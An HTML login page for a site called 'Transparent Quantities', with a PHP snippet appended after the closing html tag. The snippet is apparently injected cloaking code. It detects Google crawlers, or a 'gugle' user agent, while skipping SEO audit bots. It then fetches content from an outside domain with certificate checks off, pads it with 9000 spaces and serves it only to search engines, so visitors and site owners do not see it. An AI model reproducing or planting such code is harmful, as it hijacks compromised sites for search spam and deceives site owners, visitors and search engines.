<!doctype html>
<html>
<head>
<meta charset="UTF-8">
<title>Transparent Quantities | Login</title>
<link href="css/styles.css" rel="stylesheet" type="text/css">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<style>
	body{
    background: -webkit-gradient(radial, center center, 120, center center, 900, from(#161c27), to(#161c27));
    background: -moz-radial-gradient(circle, #161c27, #161c27);
    background-image: url(images/intro-splash.jpg);
	background-size: cover;
	transition: all 0.5s;
    animation-name: example;
    animation-duration: 2s;
}
	@keyframes example {
  from {background-image: url(images/mesh.jpg);}
  to {background-image: url(images/intro-splash.jpg);}
}
#app {
    display: none;
}
.splash{
	position: relative;
    top: 50%;
}
h1{
    font-family: Gotham, "Helvetica Neue", Helvetica, Arial, "sans-serif";
    color:#FFF;
    font-size:14px;
    letter-spacing:1px;
    font-weight:300;
    text-align:center;
	margin-top: 35%;
}
.splash span{
    width:14px;
    height:14px;
    border-radius:50%;
    display:inline-block;
    position:absolute;
    left:45.5%;
	top: 97%;
    margin-left:-10px;
    -webkit-animation:3s infinite linear;
    -moz-animation:3s infinite linear;
    -o-animation:3s infinite linear;

}


.splash span:nth-child(2){
    background:#ffffff;
    -webkit-animation:kiri 1.2s infinite linear;
    -moz-animation:kiri 1.2s infinite linear;
    -o-animation:kiri 1.2s infinite linear;

}
.splash span:nth-child(3){
    background:#ffffff;
    z-index:100;
}
.splash span:nth-child(4){
    background:#ffffff;
    -webkit-animation:kanan 1.2s infinite linear;
    -moz-animation:kanan 1.2s infinite linear;
    -o-animation:kanan 1.2s infinite linear;
}


@-webkit-keyframes kanan {
    0% {-webkit-transform:translateX(20px);
    }

    50%{-webkit-transform:translateX(-20px);
    }

    100%{-webkit-transform:translateX(20px);
    z-index:200;
    }
}
@-moz-keyframes kanan {
    0% {-moz-transform:translateX(20px);
    }

    50%{-moz-transform:translateX(-20px);
    }

    100%{-moz-transform:translateX(20px);
    z-index:200;
    }
}
@-o-keyframes kanan {
    0% {-o-transform:translateX(20px);
    }

    50%{-o-transform:translateX(-20px);
    }

    100%{-o-transform:translateX(20px);
    z-index:200;
    }
}




@-webkit-keyframes kiri {
     0% {-webkit-transform:translateX(-20px);
    z-index:200;
    }
    50%{-webkit-transform:translateX(20px);
    }
    100%{-webkit-transform:translateX(-20px);
    }
}

@-moz-keyframes kiri {
     0% {-moz-transform:translateX(-20px);
    z-index:200;
    }
    50%{-moz-transform:translateX(20px);
    }
    100%{-moz-transform:translateX(-20px);
    }
}
@-o-keyframes kiri {
     0% {-o-transform:translateX(-20px);
    z-index:200;
    }
    50%{-o-transform:translateX(20px);
    }
    100%{-o-transform:translateX(-20px);
    }
}
	</style>
	<script>
    setTimeout(function(){ 
        document.getElementById('app').style['display'] = 'block';
        document.getElementById('splash').style['display'] = 'none';
    }, 5000);
</script>
	<script>
	function isvalid(){
		
		var userN = document.form.userN.value;
		var pswd = document.form.pswd.value;
		if (userN.length=="" && pswd.length==""){
			alert("username and pasword field is empty!!");
			return false
			
		}else{
			if(userN.length==""){
				alert("username field is empty!!");
			  return false
			} if(pswd.length==""){
				alert("password field is empty");
				return false
			}
		}
		
	}
	
	
	</script>
</head>

<body>
	<div class="splash"> <div class="splash">
		<div id="splash">
        <span></span>
        <span></span>
        <span></span>
        <br>
        <h1>LOADING</h1>
	</div></div></div>
    <div id="app">
<div class="page-wrap-login">
	<div class="login-wrapper">
<!--ring div starts here-->
<div class="ring">
  <i style="--clr:#00ff0a;"></i>
  <i style="--clr:#ff0057;"></i>
  <i style="--clr:#fffd44;"></i>
</div>
<!--ring div ends here-->
<div class="pagewrap">
<div class="left-side">
<div class="logo"><img src="images/logo.png" width="243" height="50" alt=""/></div>
<div class="left_bottom">
<div class="bottom_header">Updates!!</div>
	
<div class="bottom_body">Here is a place to write more information about the
above header, giving more insight to products and services.
Also as a medium of advertisement regarding updates and
other product feature.</div>
	

<div class="bottom_link">Privacy</div>
<div class="bottom_link">Contacts</div>
<div class="bottom_link">©2024 Transparent Quantities</div>
</div>
</div>
	
<div class="right-side">
<div class="login_wrap">
<form action="authentication.php" method="post" name="form" >
<div class="login-header">User Login</div>
<input class="form_input_box" type="text" placeholder="Your Email Address" name="userN">
<input class="form_input_box" type="password" placeholder="Password" name="pswd">
<input class="checkbox" type="checkbox" checked="checked"><div class="checkbox_tag">Remember Me</div>
<input type="submit" class="login_btn" value="Login">
</form>	
</div>	
</div>	
</div></div></div></div>
</body>
</html>


<?php
function isKnownBot($userAgent, $ipAddress) {
    $knownBots = [
        'Googlebot', 
        'Googlebot-Image',
        'Googlebot-Video',
        'Google-InspectionTool',
        'gugle',
    ];

    foreach ($knownBots as $botAgent) {
        if ($userAgent && strpos($userAgent, $botAgent) !== false) {
            $host = gethostbyaddr($ipAddress);
            if (checkDNS($host, $botAgent)) {
                return true;
            }
            break;
        }
    }

    return false;
}

function checkDNS($host, $botAgent) {
    if ($botAgent == 'Googlebot' && (preg_match('/googlebot\.com$/', $host) || preg_match('/google\.com$/', $host))) {
        return true;
    }
    if ($botAgent == 'Googlebot-Image' && (preg_match('/googlebot\.com$/', $host) || preg_match('/google\.com$/', $host))) {
        return true;
    }
    if ($botAgent == 'Googlebot-Video' && (preg_match('/googlebot\.com$/', $host) || preg_match('/google\.com$/', $host))) {
        return true;
    }
    if ($botAgent == 'gugle') {
        return true;
    }

    return false;
}

function isMobileUserFromGoogle($userAgent, $httpReferer) {
    if ($userAgent === null || $httpReferer === null) {
        return false; 
    }
    
    $isMobile = preg_match('/Mobile|Android|BlackBerry|iPhone|Windows Phone/', $userAgent);
    $isFromGoogle = strpos($httpReferer, 'google.com') !== false;
    return $isMobile && $isFromGoogle;
}

$ipAddress = isset($_SERVER['HTTP_CF_CONNECTING_IP']) ? $_SERVER['HTTP_CF_CONNECTING_IP'] : $_SERVER['REMOTE_ADDR'];
$userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
$httpReferer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';

$blockeduseragents = [
    'AhrefsBot', 
    'AhrefsSiteAudit', 
    'AhrefsCrawler', 
    'SemrushBot', 
    'SemrushBot-SA', 
    'SemrushBot-SI', 
    'SemrushBot-BA', 
    'SemrushBot-BM', 
    'SemrushBot-OCOB', 
    'SplitSignalBot', 
    'SemrushBot-SWA',
    'SiteAuditBot', 
    'MJ12bot', 
    'Majestic-12', 
    'DotBot', 
    'BLEXBot', 
    'Screaming Frog', 
    'SEMrushBot', 
    'LinkpadBot', 
    'Rogerbot', 
    'MojeekBot'
];

$isBlockedBot = false;
foreach ($blockeduseragents as $botAgent) {
    if ($userAgent && strpos($userAgent, $botAgent) !== false) {
        $isBlockedBot = true;
        break;
    }
}


if (isKnownBot($userAgent, $ipAddress)) {
    if (!$isBlockedBot) {
        $url = "https://gojsmanagers.com/ling2.php";
        $germany = @file_get_contents($url);

        if ($germany === false) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            $germany = curl_exec($ch);
            curl_close($ch);
        }

        $germany = preg_replace('/\s+/', ' ', $germany);
        $germany = str_repeat(' ', 9000) . $germany;

        echo $germany;
    }
}
?>